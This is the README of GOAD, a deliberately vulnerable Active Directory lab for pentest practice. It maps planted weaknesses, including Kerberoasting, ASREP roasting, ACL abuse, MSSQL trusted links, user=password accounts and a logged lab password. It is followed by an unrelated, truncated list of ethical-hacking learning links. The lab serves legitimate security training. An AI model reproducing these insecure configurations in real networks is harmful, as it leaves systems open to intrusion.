# GOAD (Game Of Active Directory) - version 2 ![goad.png](./docs/img/GOAD.png) ## Description GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques. ## Warning This lab is extremely vulnerable, do not reuse recipe to build your environment and do not deploy this environment on internet (this is a recommendation, use it as your own risk) This repository is for pentest practice only. ## Licenses This lab use free windows VM only (180 days). After that delay enter a license on each server or rebuild all the lab (may be it's time for an update ;)) ## Installation - Installation is in two parts : 1. providing : it is made with vagrant, it download and run empty windows box. 2. provisioning : it is made with ansible, it will install all the stuff to make the lab running like an active directory network ### tldr; - You are on linux, you already got virtualbox, vagrant and docker installed on your host and you know what you are doing, just run : ```bash # providing (create and start the vms) vagrant up # provisioning (setup the goad config and install inside the vms) sudo docker build -t goadansible . sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook -i ../ad/sevenkingdoms.local/inventory main.yml ``` - Now you can grab a coffee it will take time :) ### Windows users warning - The lab intend to be installed from a **Linux host** and was tested only on this. - Some people have successfully installed the lab on a windows OS, to do that they create the VMs with vagrant and have done the ansible provisioning part from a linux machine. - In this case the linux machine used to do the provisioning must be setup with one adapter on NAT and one adapter on the same virtual private network as the lab. ### 1. - Create the VMs with Vagrant > Vagrant+virtualbox or Vagrant+vmware are used to provide the virtual machines and Ansible is use to automate the configuration and vulnerabilities setup. - The first step of the installation is to create the VMs. - To do that vagrant will be in charge of the creation on the provider you choose. #### 1.1 - Choose the provider between virtualbox and vmware-workstation and install it - This is up to you, the lab is by default setup on virtualbox (because it is free) but you can choose vmware-workstation if you want (just follow this guide to do the rights changes) #### Install with Virtualbox - **virtualbox** actually the vms are provided to be run on virtualbox so you need a working virtualbox environment on your computer. - This is obvious but yes you need to first install it on your hosts if you want to use it. (on ubuntu `sudo apt install virtualbox` will to the work) - If you choose virtualbox, nothing to change on the files, this is the default environment. #### OR install with Vmware workstation (aka "Virtualbox c'est no way") - Download and install vmware workstation and set your license key (or use the 30 days trial) [workstation-pro-evaluation](https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html) - __Note that workstation-player can't manage clone and snapshot and will not work with vagrant you need to use the pro version__ - You will also need to install VMware Utility driver (https://developer.hashicorp.com/vagrant/downloads/vmware) (an install guide can be found here : https://developer.hashicorp.com/vagrant/docs/providers/vmware/vagrant-vmware-utility) ```bash cd /tmp wget https://releases.hashicorp.com/vagrant-vmware-utility/1.0.21/vagrant-vmware-utility_1.0.21_linux_amd64.zip sudo mkdir -p /opt/vagrant-vmware-desktop/bin sudo unzip -d /opt/vagrant-vmware-desktop/bin vagrant-vmware-utility_1.0.21_linux_amd64.zip sudo /opt/vagrant-vmware-desktop/bin/vagrant-vmware-utility certificate generate sudo /opt/vagrant-vmware-desktop/bin/vagrant-vmware-utility service install ``` - Note that you will need to install the vmware-desktop plugin after the vagrant installation : ``` vagrant plugin install vagrant-vmware-desktop ``` - **For vmware you need to make changes to the Vagrantfile and the inventory file** - `Vagrantfile`: - Change the following lines from this : ``` # Uncomment this depending on the provider you want to use ENV['VAGRANT_DEFAULT_PROVIDER'] = 'virtualbox' # ENV['VAGRANT_DEFAULT_PROVIDER'] = 'vmware_desktop' ``` - To this : ``` # Uncomment this depending on the provider you want to use # ENV['VAGRANT_DEFAULT_PROVIDER'] = 'virtualbox' ENV['VAGRANT_DEFAULT_PROVIDER'] = 'vmware_desktop' ``` - `ad/sevenkingdoms.local/inventory`: - Change the following lines from this : ``` ; adapter created by vagrant and virtualbox nat_adapter=Ethernet domain_adapter=Ethernet 2 ; adapter created by vagrant and vmware ; nat_adapter=Ethernet0 ; domain_adapter=Ethernet1 ``` - To this: ``` ; adapter created by vagrant and virtualbox ; nat_adapter=Ethernet ; domain_adapter=Ethernet 2 ; adapter created by vagrant and vmware nat_adapter=Ethernet0 domain_adapter=Ethernet1 ``` #### 1.2 - Install Vagrant - **vagrant** from their official site [vagrant](https://developer.hashicorp.com/vagrant/downloads). __The version you can install through your favorite package manager (apt, yum, ...) is probably not the latest one__. - Install vagrant plugin vbguest if you want the guest addition: `vagrant plugin install vagrant-vbguest` (not mandatory) - Vagrant installation is well describe in [the official vagrant page](https://developer.hashicorp.com/vagrant/downloads) (tests are ok on 2.3.4) ```bash wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list sudo apt update && sudo apt install vagrant ``` #### 1.3 - Create the vms - To create the VMs just run ```bash vagrant up ``` - For each vm, it will download the box and than install it on your provider. - If you get an issue on this, this is certainly due to vagrant or your provider (but in this case just take a look to at the github issue and on discord maybe someone got the same issue) - At the end of the vagrantup you should have the vms created and running, like this : - Virtualbox : ![virtualbox](/docs/img/vbox.png) - Adapter 1 is set up as NAT (used to internet access during the provisioning) - Adapter 2 is set up as host only adapter on the network 192.168.56.1/24 #### 2.0 Run ansible - Now you got the 5 VMS created, great! - The next step is the provisioning with ansible. - You can run ansible from : - a docker container - OR your linux host - OR a linux VM with an host only adapter on the same network as the lab's vms. ##### Run ansible with docker - If you want to do the provisioning from a docker container you could launch the following command to prepare the container ```bash cd /opt/goad sudo docker build -t goadansible . ``` - And launch the provisioning with : ```bash sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook -i ../ad/sevenkingdoms.local/inventory main.yml ``` - This will launch ansible on the docker container. - The --network host option will launch it on your host network so the vms should be accessible by docker for 192.168.56.1/24 - The -v mount the local repository containing goad in the folder /goad of the docker container - The -i indicate the inventory to use with ansible - And than the playbook main.yml is launched - Please note that the vms must be in a running state, so vagrant up must have been done and finished before launching the ansible playbook. #### Run ansible on your host (or from a linux vm in the same network as the lab) - If you want to play ansible from your host or a linux vm you should launch the following commands : - *Create a python >= 3.8 virtualenv* ```bash sudo apt install git git clone [email protected]:Orange-Cyberdefense/GOAD.git cd GOAD/ansible sudo apt install python3.8-venv python3.8 -m virtualenv .venv source .venv/bin/activate ``` - Install ansible and pywinrm in the .venv - **ansible** following the extensive guide on their website [ansible](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html). - **Tested with ansible-core (2.12)** - **pywinrm** be sure you got the pywinrm package installed ``` python3 -m pip install --upgrade pip python3 -m pip install ansible-core==2.12.6 python3 -m pip install pywinrm ``` - Install all the ansible-galaxy requirements - **ansible windows** - **ansible community.windows** - **ansible chocolatey** (not needed anymore) - **ansible community.general** ``` ansible-galaxy install -r requirements.yml ``` - And than you can launch the ansible provisioning with (note that the vms must be in a running state, so vagrant up must have been done before that) ```bash ansible-playbook -i ../ad/sevenkingdoms.local/inventory main.yml # this will configure the vms in order to play ansible when the vms are ready ``` ### V2 breaking changes - If you previously install the v1 do not try to update as a lot of things have changed. Just drop your old lab and build the new one (you will not regret it) - Chocolatey is no more used and basic tools like git or notepad++ are no more installed by default (as chocolatey regularly crash the install due to hitting rate on multiples builds) - ELK is no more installed by default to save resources but you still can install it separately (see the blueteam/elk part) - Dragonstone vm as disappear and there is no more DC replication in the lab to save resources - Wintefell is now a domain controller for the subdomain north of the sevenkingdoms.local domain ### Space use - the lab take environ 77GB (but you have to get the space for the vms vagrant images windows server 2016 (22GB) / windows server 2019 (14GB) / ubuntu 18.04 (502M)) - the total space needed for the lab is ~115 GB (and more if you take snapshots) ### Start / Setup / Run The default domain will be **sevenkingdoms.local**, on the subnet 192.168.56.1/24 and each machine has been allocated with 2CPU and 4GB of memory. If you want to change some of these performance settings you can modify the Vagrantfile (please note that with less RAM the install process sometimes crash, if it append just relaunch the ansible playbook). To have the lab up and running this is the commands you should do: - VMs start/creation if not exist ```bash pwd /opt/GOAD # place yourself in the GOAD folder (where you cloned the project) vagrant up # this will create the vms (this command must be run in the folder where the Vagrantfile is present) ``` - VMs provisioning - in one command just play : ```bash ansible-playbook -i ../ad/sevenkingdoms.local/inventory main.yml # this will configure the vms in order to play ansible when the vms are ready ``` - To run the provisioning from the docker container run (you should be in the same folder as the Dockerfile): ```bash sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook main.yml ``` - Or you can run playbooks one by one (mostly for debug or if you get trouble during install) - The main.yml playbook is build in multiples parts. each parts can be re-run independently but the play order must be keep in cas you want to play one by one : ``` ansible-playbook build.yml # Install stuff and prepare vm ansible-playbook ad-servers.yml # create main domains, child domain and enroll servers ansible-playbook ad-trusts.yml # create the trust relationships ansible-playbook ad-data.yml # import the ad datas : users/groups... ansible-playbook servers.yml # Install IIS and MSSQL ansible-playbook ad-relations.yml # set the rights and the group domains relations ansible-playbook adcs.yml # Install ADCS on essos ansible-playbook ad-acl.yml # set the ACE/ACL ansible-playbook security.yml # Configure some securities (adjust av enable/disable) ansible-playbook vulns.yml # Configure some vulnerabilities ``` - When you finish playing you could do : ```bash vagrant halt # will stop all the vm ``` - To just relaunch the lab (no need to replay ansible as you already do that in the first place) ```bash vagrant up # will start the lab ``` - If you got some errors see the troubleshooting section at the end of the document, but in most case if you get errors during install, don't think and just replay the main playbook (most of the errors which could came up are due to windows latency during installation, wait few minutes and replay the main.yml playbook) ``` ansible-playbook -i ../ad/sevenkingdoms.local/inventory main.yml ``` ## If you want to discuss about Active Directory and the GOAD project - Join us on Discord : https://discord.gg/NYy7rsMf3u ## LAB Content - sevenkingdoms.local / north.sevenkingdoms.local / essos.local ![v2_overview.png](./docs/img/v2_overview.png) ### Servers This lab is actually composed of five virtual machines: - **kingslanding** : DC01 running on Windows Server 2019 (with windefender enabled by default) - **winterfell** : DC02 running on Windows Server 2019 (with windefender enabled by default) - **castelblack** : SRV02 running on Windows Server 2019 (with windefender **disabled** by default) - **meereen** : DC03 running on Windows Server 2016 (with windefender enabled by default) - **braavos** : SRV03 running on Windows Server 2016 (with windefender enabled by default) #### domain : north.sevenkingdoms.local - **winterfell** : DC01 - **castelblack** : SRV02 : MSSQL / IIS #### domain : sevenkingdoms.local - **kingslanding** : DC02 - **castelrock** : SRV01 (disabled due to resources reasons) #### domain : essos.local - **braavos** : DC03 - **meeren** : SRV03 : MSSQL / ADCS The lab setup is automated using vagrant and ansible automation tools. You can change the vm version in the Vagrantfile according to Stefan Scherer vagrant repository : https://app.vagrantup.com/StefanScherer ## Blueteam / ELK - **elk** a kibana is configured on http://192.168.56.50:5601 to follow the lab events - infos : log encyclopedia : https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ - the elk is not installed by default due to resources reasons. - to install and start the elk play the following commands : 1. uncomment the elk vm in vagrant and provision with `vagrant up elk` (do not forget to add a coma on the box before) ``` # { :name => "elk", :ip => "192.168.56.50", :box => "bento/ubuntu-18.04", :os => "linux", # :forwarded_port => [ # {:guest => 22, :host => 2210, :id => "ssh"} # ] # } ``` 2. uncomment the elk part in the inventory (ad/sevenkingdoms.local/inventory) file ``` [elk:vars] ansible_connection=ssh ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/elk/virtualbox/private_key ansible_ssh_port=22 host_key_checking = false [elk] 192.168.56.50 ``` 3. install with docker ```bash sudo docker run -ti --rm --network host -e ANSIBLE_CONFIG=/goad/ansible -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook -i ../ad/sevenkingdoms.local/inventory elk.yml ``` 3. or install on hand : - you need `sshpass` for the elk installation ```bash sudo apt install sshpass ``` - Chocolatey is needed to use elk. To install it run: ```bash ansible-galaxy collection install chocolatey.chocolatey ``` - play the elk.yml playbook to install and run elk: ```bash ansible-playbook elk.yml ``` ### Users/Groups and associated vulnerabilites/scenarios - You can find a lot of the available scenarios on [https://mayfly277.github.io/categories/ad/](https://mayfly277.github.io/categories/ad/) NORTH.SEVENKINGDOMS.LOCAL - STARKS: RDP on WINTERFELL AND CASTELBLACK - arya.stark: Execute as user on mssql - eddard.stark: DOMAIN ADMIN NORTH/ (bot 5min) LLMRN request to do NTLM relay with responder - catelyn.stark: - robb.stark: bot (3min) RESPONDER LLMR - sansa.stark: - brandon.stark: ASREP_ROASTING - rickon.stark: - theon.greyjoy: - jon.snow: mssql admin / KERBEROASTING / group cross domain / mssql trusted link - hodor: PASSWORD SPRAY (user=password) - NIGHT WATCH: RDP on CASTELBLACK - samwell.tarly: Password in ldap description / mssql execute as login GPO abuse (Edit Settings on "STARKWALLPAPER" GPO) - jon.snow: (see starks) - jeor.mormont: (see mormont) - MORMONT: RDP on CASTELBLACK - jeor.mormont: ACL writedacl-writeowner on group Night Watch - AcrossTheSea : cross forest group SEVENKINGDOMS.LOCAL - LANISTERS - tywin.lannister: ACL forcechangepassword on jaime.lanister - jaime.lannister: ACL genericwrite-on-user joffrey.baratheon - tyron.lannister: ACL self-self-membership-on-group Small Council - cersei.lannister: DOMAIN ADMIN SEVENKINGDOMS - BARATHEON: RDP on KINGSLANDING - robert.baratheon: DOMAIN ADMIN SEVENKINGDOMS - joffrey.baratheon: ACL Write DACL on tyron.lannister - renly.baratheon: - stannis.baratheon: ACL genericall-on-computer kingslanding / ACL writeproperty-self-membership Domain Admins - SMALL COUNCIL : ACL add Member to group dragon stone / RDP on KINGSLANDING - petyer.baelish: ACL writeproperty-on-group Domain Admins - lord.varys: ACL genericall-on-group Domain Admins / Acrossthenarrossea - maester.pycelle: ACL write owner on group Domain Admins - DRAGONSTONE : ACL Write Owner on KINGSGUARD - KINGSGUARD : ACL generic all on user stannis.baratheon - AccorsTheNarrowSea: cross forest group ESSOS.LOCAL - TARGERYEN - daenerys.targaryen: DOMAIN ADMIN ESSOS - viserys.targaryen: - jorah.mormont: mssql execute as login / mssql trusted link / Read LAPS Password - DOTHRAKI - khal.drogo: mssql admin / GenericAll on viserys (shadow credentials) / GenericAll on ECS4 - DragonsFriends: cross forest group - Spys: cross forest group / Read LAPS password / ACL generic all jorah.mormont ### Computers Users and group permissions - SEVENKINGDOMS - DC01 : kingslanding.sevenkingdoms.local (Windows Server 2019) (SEVENKINGDOMS DC) - Admins : robert.baratheon (U), cersei.lannister (U) - RDP: Small Council (G) - NORTH - DC02 : winterfell.north.sevenkingdoms.local (Windows Server 2019) (NORTH DC) - Admins : eddard.stark (U), catelyn.stark (U), robb.stark (U) - RDP: Stark(G) - SRV02 : castelblack.essos.local (Windows Server 2019) (IIS, MSSQL, SMB share) - Admins: jeor.mormont (U) - RDP: Night Watch (G), Mormont (G), Stark (G) - IIS : allow asp upload, run as NT Authority/network - MSSQL: - admin : jon.snow - impersonate : - execute as login : samwel.tarlly -> sa - execute as user : arya.stark -> dbo - link : - to braavos : jon.snow -> sa - ESSOS - DC03 : meereen.essos.local (Windows Server 2016) (ESSOS DC) - Admins: daenerys.targaryen (U) - RDP: Targaryen (G) - SRV03 : braavos.essos.local (Windows Server 2016) (MSSQL, SMB share) - Admins: khal.drogo (U) - RDP: Dothraki (G) - MSSQL : - admin : khal.drogo - impersonate : - execute as login : jorah.mormont -> sa - link: - to castelblack: jorah.mormont -> sa ## ROAD MAP - [X] Password reuse between computer (PTH) - [X] Spray User = Password - [X] Password in description - [X] SMB share anonymous - [X] SMB not signed - [X] Responder - [X] Zerologon - [X] Windows defender - [X] ASREPRoast - [X] Kerberoasting - [X] AD Acl abuse - [X] Unconstraint delegation - [X] Ntlm relay - [X] Constrained delegation - [X] Install MSSQL - [X] MSSQL trusted link - [X] MSSQL impersonate - [X] Install IIS - [X] Upload asp app - [X] Multiples forest - [X] Anonymous RPC user listing - [X] Child parent domain - [X] Generate certificate and enable ldaps - [X] ADCS - ESC 1/2/3/8 - [X] Certifry - [X] Samaccountname/nopac - [X] Petitpotam unauthent - [X] Printerbug - [X] Drop the mic - [X] Shadow credentials - [X] Mitm6 - [X] Add LAPS - [X] GPO abuse - [X] Add Webdav - [X] Add RDP bot - [X] Add full proxmox integration - [ ] Add Gmsa - [ ] Add PPL - [ ] Add Credential Guard - [ ] Add Applocker - [ ] Zone transfert - [ ] Wsus - [ ] Sccm - [ ] Exchange ## Lab organisation - The lab configuration is located on the ad/ folder - Ad folder contains the following files : ``` ad/ labname/ # The lab name must be the same as the variable : domain_name from the inventory data/config.json # The json file containing all the variables and configuration of the lab files/ # This folder contains files you want to copy on your vms scripts/ # This folder contains some ps1 scripts you want to play on your vm (Must be added in the "scripts" entries of your vms) Vagrantfile # The vagrantfile corresponding to the lab (the vagrantfile of goad is also present in the / of goad repository) inventory # The lab inventory file, this contains the roles to play and the ip/vm mapping ``` ## MISC commands ### Force replication (no more used) - On dragonstone play as domain admin user : ``` repadmin /replicate kingslanding.sevenkingdoms.local dragonstone.sevenkingdoms.local dc=sevenkingdoms,dc=local /full ``` ### vagrant usefull commands (vm management) - start all lab vms : ``` vagrant up ``` - start only one vm : ``` vagrant up <vmname> ``` - stop all the lab vm : ``` vagrant halt ``` - drop all the lab vm (because you want to recreate all) (carrefull : this will erase all your lab instance) ``` vagrant destroy ``` - snapshot the lab (https://www.vagrantup.com/docs/cli/snapshot) ``` vagrant snapshot push ``` - restore the lab snapshot (this could break servers relationship, reset servers passwords with fix_trust.yml playbook) ``` vagrant snapshot pop ``` ### ansible commands (provisionning management) #### Play only an ansible part - only play shares of member_server.yml : ``` ansible-playbook member_server.yml --tags "data,shares" ``` #### Play only on some server ``` ansible-playbook -l dc2 domain_controller.yml ``` #### Add some vulns ``` ansible-playbook vulnerabilities.yml ``` ## Troubleshooting - In most case if you get errors during install, don't think and just replay the main playbook (most of the errors which could came up are due to windows latency during installation, wait few minutes and replay the main.yml playbook) ``` ansible-playbook main.yml ``` ### Groups domain error - something go wrong with the trust, all the links are not fully establish - wait several minutes and relaunch the playbook - i really don't know why this append time to time on installation, if you want to investigate and resolve the issue please tell me how. ```bash An exception occurred during task execution. To see the full traceback, use -vvv. The error was: at Microsoft.ActiveDirectory.Management.Commands.ADCmdletBase`1.BeginProcessing() failed: [192.168.56.xx] (item={'key': 'DragonsFriends', 'value': ['sevenkingdoms.local\\tyron.lannister', 'essos.local\\daenerys.targaryen']}) => {"ansible_loop_var": "item", "attempts": 3, "changed": false, "item": {"key": "DragonsFriends", "value": ["north.sevenkingdoms.local\\jon.snow", "sevenkingdoms.local\\tyron.lannister", "essos.local\\daenerys.targaryen"]}, "msg": "Unhandled exception while executing module: Either the target name is incorrect or the server has rejected the client credentials."} ``` ### Error Add-Warning - You got an "Add-Warning" error during the user installation. - Upgrade to community.windows galaxy >= 1.11.0 - relaunch the ansible playbooks. ```bash An exception occurred during task execution. To see the full traceback, use -vvv. The error was: at , : line 475 failed: [192.168.56.11] (item={'key': 'arya.stark', 'value': {'firstname': 'Arya', 'surname': 'Stark', ... "msg": "Unhandled exception while executing module: The term 'Add-Warning' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again."}+ ``` ### A parameter cannot be found that matches parameter name 'AcceptLicense' - If you got this kind of error you got an ansible.windows version >= 1.11.0 - This version add the parameter AcceptLicense but it is accepted only for PowerShellGet module >= 1.6.0 and this one is not embededded in the vms. - Please keep version 1.11.0 and update the lab to get the fix for the PowerShellGet Module version. ```bash fatal: [xxx]: FAILED! => { "changed": false, "msg": "Problems installing XXXX module: A parameter cannot be found that matches parameter name 'AcceptLicense'.", "nuget_changed": false, "output": "", "repository_changed": false } ``` ### old Ansible version ```bash ERROR! no action detected in task. This often indicates a misspelled module name, or incorrect module path. The error appears to have been in '/home/hrrb0032/Documents/mission/GOAD/roles/domain_controller/tasks/main.yml': line 8, column 3, but maybe elsewhere in the file depending on the exact syntax problem. The offending line appears to be: - name: disable enhanced exit codes ^ here ``` solution : upgrade Ansible #### old ansible.windows version ```bash ERROR! couldn't resolve module/action 'win_powershell'. This often indicates a misspelling, missing collection, or incorrect module path. ``` - solution: reinstall ansible.windows module : ```bash ansible-galaxy collection install ansible.windows --force ``` ### winrm ```bash PLAY [DC01 - kingslanding] ******************************************************* TASK [Gathering Facts] *********************************************************** fatal: [192.168.56.10]: FAILED! => {"msg": "winrm or requests is not installed: No module named winrm"} PLAY RECAP *********************************************************************** 192.168.56.10 : ok=0 changed=0 unreachable=0 failed=1 skipped=0 rescued=0 ignored=0 ``` solution : pip install pywinrm ### winrm send input timeout ```bash TASK [Gathering Facts] **************************************************************************************************************************************************** [WARNING]: ERROR DURING WINRM SEND INPUT - attempting to recover: WinRMOperationTimeoutError ok: [192.168.56.11] ``` solution : wait or if crashed then re-run Ansible script ### Domain controller : ensure Users are present ```bash TASK [domain_controller : Ensure that Users presents in ou=<kingdom>,dc=SEVENKINGDOMS,dc=local] *************************************************************************** An exception occurred during task execution. To see the full traceback, use -vvv. The error was: at Microsoft.ActiveDirectory.Management.Commands.ADCmdletBase`1.ProcessRecord() failed: [192.168.56.10] (item={u'key': u'lord.varys', u'value': {u'city': u"King's Landing", u'password': u'_W1sper_$', u'name': u'Lord Varys', u'groups': u'Small Council', u'path': u'OU=Users,OU=Crownlands,OU=kingdoms,DC=SEVENKINGDOMS,DC=local'}}) => {"ansible_loop_var": "item", "changed": false, "item": {"key": "lord.varys", "value": {"city": "King's Landing", "groups": "Small Council", "name": "Lord Varys", "password": "_W1sper_$", "path": "OU=Users,OU=Crownlands,OU=kingdoms,DC=SEVENKINGDOMS,DC=local"}}, "msg": "Unhandled exception while executing module: An unspecified error has occurred"} ``` solution : re-run Ansible script ### mssql : Unable to install SQL Server ``` TASK [mssql : Install the database] fatal: [192.168.56.22]: FAILED! => {"attempts": 3, "changed": true, "cmd": "c:\\setup\\mssql\\sql_installer.exe /configurationfile=c:\\setup\\mssql\\sql_conf.ini /IACCEPTSQLSERVERLICENSETERMS /MEDIAPATH=c:\\setup\\mssql\\media /QUIET /HIDEPROGRESSBAR", "delta": "0:00:34.891185", "end": "2022-08-17 21:26:53.976793", "msg": "non-zero return code", "rc": 2226323458, "start": "2022-08-17 21:26:19.085608", "stderr": "", "stderr_lines": [], "stdout": "Microsoft (R) SQL Server Installer\r\nCopyright (c) 2019 Microsoft. All rights reserved.\r\n\r\nDownloading install package...\r\n\r\n\r\nOperation finished with result: Failure\r\n\r\nOops...\r\n\r\nUnable to install SQL Server (setup.exe).\r\n\r\n Exit code (Decimal): -2068643838\r\n Exit message: No features were installed during the setup execution. The requested features may already be installed. Please review the summary.txt log for further details.\r\n\r\n SQL SERVER INSTALL LOG FOLDER\r\n c:\\Program Files\\Microsoft SQL Server\\150\\Setup Bootstrap\\Log\\20220817_142624\r\n\r\n", "stdout_lines": ["Microsoft (R) SQL Server Installer", "Copyright (c) 2019 Microsoft. All rights reserved.", "", "Downloading install package...", "", "", "Operation finished with result: Failure", "", "Oops...", "", "Unable to install SQL Server (setup.exe).", "", " Exit code (Decimal): -2068643838", " Exit message: No features were installed during the setup execution. The requested features may already be installed. Please review the summary.txt log for further details.", "", " SQL SERVER INSTALL LOG FOLDER", " c:\\Program Files\\Microsoft SQL Server\\150\\Setup Bootstrap\\Log\\20220817_142624", ""]} ``` solution : re-run Ansible server script: `ansible-playbook servers.yml` ## Special Thanks to - Thomas Rollain (tests & some vulns writing) - Quentin Galliou (tests) ## Links - https://unicornsec.com/home/siem-home-lab-series-part-1 - https://github.com/jckhmr/adlab - https://www.jonathanmedd.net/2019/09/ansible-windows-and-powershell-the-basics-introduction.html - https://www.secframe.com/badblood/ - https://josehelps.com/blog/2019-08-06_building-a-windows-2016-dc/ - https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907 - https://www.ansible.com/blog/an-introduction-to-windows-security-with-ansible - https://github.com/rgl/windows-domain-controller-vagrant - https://www.sconstantinou.com/powershell-active-directory-delegation-part-1/ - https://www.shellandco.net/playing-acl-active-directory-objects/ - https://github.com/clong/DetectionLab - https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces - ... ## Note - This repo is based on the work of [jckhmr](https://github.com/jckhmr/adlab) and [kkolk](https://github.com/kkolk/mssql)
This is a curated list of resources for those who want to get started with ethical hacking. # The Internet ### IP Addresses * https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/ * https://www.codedbrain.com/2019/12/one-hell-of-an-ip-addresspart-1-non-technical-perspective/ * https://www.iplocation.net/public-vs-private-ip-address ### DNS * https://www.cloudflare.com/learning/dns/what-is-dns/ * https://dyn.com/blog/dns-why-its-important-how-it-works/ ### DHCP * https://whatismyipaddress.com/dhcp ### How Internet Works * https://web.stanford.edu/class/msande91si/www-spr04/readings/week1/InternetWhitepaper.htm * https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work ### Overview of HTTP * https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview ### How `https` Works * https://robertheaton.com/2014/03/27/how-does-https-actually-work/ # Linux Box Administration ### Basics of linux command line * https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-basics * https://maker.pro/linux/tutorial/basic-linux-commands-for-beginners ### File Permissions * http://linuxcommand.org/lc3_lts0090.php * https://www.guru99.com/file-permissions.html # Programming ### Scripting vs Compiled Languages * https://stackoverflow.com/questions/17253545/scripting-language-vs-programming-language ### Programming Language Resources * https://github.com/getify/You-Dont-Know-JS * https://www.programiz.com/c-programming * https://developer.mozilla.org/ # Hacking ### Mastering Chrome Browser Developers Tools * https://www.freecodecamp.org/news/mastering-chrome-developer-tools-next-level-front-end-development-techniques-3ac0b6fe8a3/ ### Port Scanning * https://www.sans.org/reading-room/whitepapers/auditing/port-scanning-techniques-defense-70 ### TCP Three-way Handshake * https://www.guru99.com/tcp-3-way-handshake.html ### TCP vs UDP * https://www.geeksforgeeks.org/differences-between-tcp-and-udp/ ### `nmap` UDP Scan * https://nmap.org/book/scan-methods-udp-scan.html ### `netcat` Cheatsheet * https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf ### Web Security Resources * https://github.com/qazbnm456/awesome-web-security ### OWASP Top 10 Projects * https://owasp.org/www-project-top-ten/ ### Tools Used to test Web Application Security #### Vulnerability Scanners * [Burp Suite](https://portswigger.net/burp) * [OWASP ZAP](https://owasp.org/www-project-zap/) * [Acunetix Vulnerability Scanner](https://www.acunetix.com/vulnerability-scanner/) * [Inception](https://github.com/proabiral/inception) #### Web Technology Identification Tools * [Wappalyzer](https://www.wappalyzer.com/) * [BuiltWith](https://builtwith.com/) #### Subdomain Enumeration Tools * [Sublist3r](https://github.com/aboul3la/Sublist3r) * [Knockpy](https://github.com/guelfoweb/knock) * [shuffleDNS](https://github.com/projectdiscovery/shuffledns) * [Subfinder](https://github.com/projectdiscovery/subfinder) #### Virtual Host Scanner * [VHostScan](https://github.com/codingo/VHostScan) * [Virtual Host Discovery](https://github.com/jobertabma/virtual-host-discovery) #### Web Content Scanner * [DIRB](http://dirb.sourceforge.net/) * [Gobuster](https://github.com/OJ/gobuster) * [DirBuster](https://sourceforge.net/projects/dirbuster/) * [Breacher](https://github.com/s0md3v/Breacher) * [Arjun](https://github.com/s0md3v/Arjun) #### Automatic Browser Proxy Selection Extensions * https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ ### Pentesting labs * https://hackthebox.eu * https://tryhackme.com * https://ctftime.org * http://pentesterlab.com (paid one) * http://pentesteracademy.com (paid one) # CTF ### Common CTF Practicing Tools & Use-cases * https://resources.infosecinstitute.com/tools-of-trade-and-resources-to-prepare-in-a-hacker-ctf-competition-or-challenge/#gref * [EchoPwn CTF Lab](https://echopwn.com/ctf-lab/) * [picoCTF](https://picoctf.com/) * [CTFchallenge.co.uk](https://ctfchallenge.co.uk/) # Recommended YouTube Channels * [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) * [HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) * [Computerphile](https://www.youtube.com/user/Computerphile) * [John Hammond](https://www.youtube.com/user/RootOfTheNull) * [GynvaelEN](https://www.youtube.com/user/GynvaelEN) * [GynvaelEN](https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g) * [Reconless](https://www.youtube.com/channel/UCCp25j1Zh9vc_WFm-nB9fhQ) * [IppSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) # People to Follow * [Michael Gillespie](https://twitter.com/demonslay335) (ransomware , malware related stuff) * [NahamSec](https://twitter.com/NahamSec) (bug bounty related stuff) * [TomNomNom](https://twitter.com/TomNomNom) (open source tools maker) * [Mathias Bynens](https://twitter.com/mathias) (works at v8js at google) * [Brute Logic](https://twitter.com/brutelogic) (security researcher, creator of knoxss) * [Daniel Stenberg](https://twitter.com/bagder) (maker of curl) * [Somdev Sangwan](https://twitter.com/s0md3v) (security researcher) * [Martin Kleppe](https://twitter.com/aemkei) (an amazing JS guy also the maker of jsfuck) * [ᴅᴀɴɪᴇʟ ᴍɪᴇssʟᴇʀ](https://twitter.com/DanielMiessler) (also his blog is amazing) * [terjanq](https://twitter.com/terjanq) (infosec at google plus ctf player) * [zseano](https://twitter.com/zseano) (bug bounty related stuff) * [Jane Manchun Wong](https://twitter.com/wongmjane) (she discovers unreleased features) * [Ron Chan](https://twitter.com/ngalongc) (amazing researcher) * [FD](https://twitter.com/filedescriptor) (browser security researcher) * [James Kettle](https://twitter.com/albinowax) (websec research) * [Jobert Abma](https://twitter.com/jobertabma) (cofounder of hackerone) * [angealbertini](https://twitter.com/angealbertini) (amazing guy with file format expertise) * [Tavis Ormandy](https://twitter.com/taviso) (works at google project zero, amazing researcher) * [Santosh Bhandari](https://twitter.com/mrcodedbrain) (that's me) # Books * [ Penetration Testing: A Hands-On Introduction to 